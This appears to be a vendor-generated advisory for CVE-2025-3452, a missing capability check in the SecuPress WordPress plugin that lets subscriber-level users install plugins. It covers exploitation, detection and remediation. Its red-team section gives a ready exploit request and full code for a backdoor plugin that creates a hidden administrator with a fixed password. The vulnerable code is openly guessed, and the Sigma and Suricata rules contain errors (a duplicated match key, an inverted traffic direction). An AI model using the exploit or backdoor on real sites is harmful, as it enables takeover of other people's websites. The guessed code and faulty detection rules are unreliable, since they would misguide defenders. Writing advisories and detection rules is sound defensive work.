CVE-2025-3452
Executive Summary
CVE-2025-3452 is a Missing Authorization vulnerability in the SecuPress Free — WordPress Security plugin, affecting all versions up to and including 2.3.9. The flaw resides in the secupress_reinstall_plugins_admin_ajax_cb function, which fails to perform a capability check before processing AJAX requests. This allows authenticated attackers with Subscriber-level access or higher to install arbitrary plugins on the target WordPress site.
This vulnerability is particularly dangerous because it enables privilege escalation: an attacker can install a malicious plugin containing backdoors, web shells, or other malware, effectively gaining full control over the WordPress installation. The attack requires only a valid user account with minimal privileges, making it a significant threat to multi-user WordPress sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Impact
As a WordPress plugin vulnerability, this issue directly affects the WordPress security model. The missing capability check bypasses the built-in role-based access controls, allowing low-privileged users to perform administrative actions. This is a classic example of a broken access control vulnerability in the WordPress plugin ecosystem.
CVSS Breakdown & Threat Level
CVSS Score: 4.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
- Privileges Required (PR): Low – The attacker needs only a Subscriber-level account.
- User Interaction (UI): None – No user action is required for exploitation.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None – No direct data exposure.
- Integrity (I): Low – Arbitrary plugin installation can modify the site’s functionality.
- Availability (A): None – No direct denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for full site compromise via malicious plugin installation elevates the real-world risk.
Deep Dive & Mechanics
The vulnerability exists in the secupress_reinstall_plugins_admin_ajax_cb function, which is registered as an AJAX action handler. In WordPress, AJAX handlers for authenticated users are typically prefixed with wp_ajax_. The function is intended to allow administrators to reinstall plugins, but it lacks a capability check (e.g., current_user_can('activate_plugins') or current_user_can('install_plugins')).
The function likely uses wp_remote_get() or similar to download plugin ZIP files from the WordPress.org repository or a custom source, then uses the WordPress Plugin Installer API to install them. Without proper authorization, any authenticated user can trigger this process.
Attack Flow:
- Attacker logs in with a Subscriber account.
- Attacker crafts an AJAX request to
admin-ajax.phpwith the actionsecupress_reinstall_plugins_admin_ajax_cband a plugin slug parameter. - The server processes the request, downloads the plugin ZIP, and installs it.
- The attacker can then activate the plugin (if the activation function also lacks checks) or use another vulnerability to activate it.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable function likely looks like this:
// Vulnerable code (hypothetical reconstruction)
add_action('wp_ajax_secupress_reinstall_plugins_admin_ajax_cb', 'secupress_reinstall_plugins_admin_ajax_cb');
function secupress_reinstall_plugins_admin_ajax_cb() {
// Missing capability check
$plugin_slug = $_POST['plugin_slug'];
// Download and install plugin
$download_url = 'https://downloads.wordpress.org/plugin/' . $plugin_slug . '.zip';
// ... installation logic ...
wp_die();
}
A patched version would include a capability check:
// Patched code
add_action('wp_ajax_secupress_reinstall_plugins_admin_ajax_cb', 'secupress_reinstall_plugins_admin_ajax_cb');
function secupress_reinstall_plugins_admin_ajax_cb() {
// Proper capability check
if (!current_user_can('install_plugins')) {
wp_die('Unauthorized', 403);
}
$plugin_slug = sanitize_text_field($_POST['plugin_slug']);
// ... installation logic ...
wp_die();
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with SecuPress Free <= 2.3.9 installed and activated.
- A valid user account with Subscriber role (or higher).
Exploitation Steps:
Obtain a valid session cookie for the Subscriber account (e.g., via login or session hijacking).
Craft the AJAX request to install a malicious plugin. For example, to install a plugin named
malicious-plugin:
curl -X POST 'http://target.com/wp-admin/admin-ajax.php' \
-H 'Cookie: wordpress_logged_in_xxx=...' \
-d 'action=secupress_reinstall_plugins_admin_ajax_cb&plugin_slug=malicious-plugin'
Verify installation by checking the plugins list or accessing the plugin's files.
Activate the plugin (if the activation function is also vulnerable or via another method).
Custom Malicious Plugin Example:
Create a simple plugin that creates a backdoor admin user:
<?php
/*
Plugin Name: Malicious Plugin
*/
function create_backdoor_user() {
$user_id = username_exists('backdoor_admin');
if (!$user_id && !email_exists('backdoor@example.com')) {
$user_id = wp_create_user('backdoor_admin', 'P@ssw0rd!', 'backdoor@example.com');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
register_activation_hook(__FILE__, 'create_backdoor_user');
Blue Team (Detection & Response)
Detection Steps:
Monitor AJAX requests to
admin-ajax.phpwith the action parametersecupress_reinstall_plugins_admin_ajax_cbfrom non-admin users.Audit user roles for unexpected Subscriber accounts that may have been created.
Check for recently installed plugins that are not part of the approved list.
Review server logs for unusual plugin download requests.
Response Actions:
- Immediately disable the SecuPress plugin if it is not critical.
- Remove any unauthorized plugins.
- Reset all user passwords and audit user accounts.
- Review file integrity for any modified core files.
Indicators of Compromise (IOCs)
| Indicator Type | Value | Description |
|---|---|---|
| URL Pattern | /wp-admin/admin-ajax.php?action=secupress_reinstall_plugins_admin_ajax_cb |
AJAX endpoint used for exploitation |
| HTTP Request | POST to admin-ajax.php with plugin_slug parameter |
Malicious plugin installation attempt |
| File | /wp-content/plugins/[unknown-plugin]/ |
Unexpected plugin directory |
| User Agent | Any (no specific pattern) | Exploitation can use any UA |
| Log Entry | POST /wp-admin/admin-ajax.php with action=secupress_reinstall_plugins_admin_ajax_cb |
Web server access log |
Detection Engineering
YARA Rule
rule Detect_SecuPress_Missing_Auth_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2025-3452 in SecuPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3452"
hash = "unknown"
strings:
$ajax_action = "secupress_reinstall_plugins_admin_ajax_cb"
$plugin_slug = "plugin_slug"
$admin_ajax = "admin-ajax.php"
condition:
all of them
}
Sigma Rule
title: CVE-2025-3452 SecuPress Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-3452 via AJAX requests
author: Valters IT
date: 2025/04/10
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-3452
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-ajax.php'
cs-uri-query|contains: 'action=secupress_reinstall_plugins_admin_ajax_cb'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-3452 SecuPress Missing Authorization Exploitation Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"admin-ajax.php";
http_uri;
content:"action=secupress_reinstall_plugins_admin_ajax_cb";
http_client_body;
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2025-3452;
)
Remediation & Mitigation
Immediate Actions:
- Disable the SecuPress plugin until a patch is available.
- Audit all user accounts and remove any suspicious Subscriber-level accounts.
- Review installed plugins for any unauthorized additions.
- Implement Web Application Firewall (WAF) rules to block requests containing
secupress_reinstall_plugins_admin_ajax_cbin the POST body.
Long-term Fixes:
- Apply the vendor patch when released (currently UNKNOWN).
- Implement capability checks in all AJAX handlers (principle of least privilege).
- Use WordPress nonces to prevent CSRF attacks.
- Regularly update all plugins and monitor for security advisories.
Workaround Code (if you must keep the plugin active):
Add the following to your theme's functions.php or a custom plugin to block the vulnerable function:
add_action('init', function() {
if (defined('DOING_AJAX') && DOING_AJAX) {
remove_action('wp_ajax_secupress_reinstall_plugins_admin_ajax_cb', 'secupress_reinstall_plugins_admin_ajax_cb');
}
});
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.